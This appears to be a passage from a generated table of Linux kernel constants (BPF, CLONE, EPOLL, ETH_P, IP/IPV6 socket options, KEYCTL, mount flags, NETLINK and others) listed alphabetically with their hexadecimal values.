-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x2000
-- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0x100f
-- CBAUDEX = 0x1000
-- CFLUSH = 0xf
-- CIBAUD = 0x100f0000
-- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x200
-- CR2 = 0x400
-- CR3 = 0x600
-- CRDLY = 0x600
-- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x10
-- CS7 = 0x20
-- CS8 = 0x30
-- CSIGNAL = 0xff
-- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x200
-- ECHOE = 0x10
-- ECHOK = 0x20
-- ECHOKE = 0x800
-- ECHONL = 0x40
-- ECHOPRT = 0x400
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x800
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x8000
-- FFDLY = 0x8000
-- FLUSHO = 0x1000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0x5
-- F_GETLK64 = 0x5
-- F_GETOWN = 0x9
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0x6
-- F_SETLK64 = 0x6
-- F_SETLKW = 0x7
-- F_SETLKW64 = 0x7
-- F_SETOWN = 0x8
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x400
-- IBSHIFT = 0x10
-- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x8000
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x800
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x1
-- ISTRIP = 0x20
-- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x1000
-- IXON = 0x400
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_32BIT = 0x40
-- MAP_ANON = 0x20
-- MAP_ANONYMOUS = 0x20
-- MAP_DENYWRITE = 0x800
-- MAP_EXECUTABLE = 0x1000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x100
-- MAP_HUGETLB = 0x40000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x2000
-- MAP_NONBLOCK = 0x10000
-- MAP_NORESERVE = 0x4000
-- MAP_POPULATE = 0x8000
-- MAP_PRIVATE = 0x2
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x20000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x1
-- MCL_FUTURE = 0x2
-- MCL_ONFAULT = 0x4
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
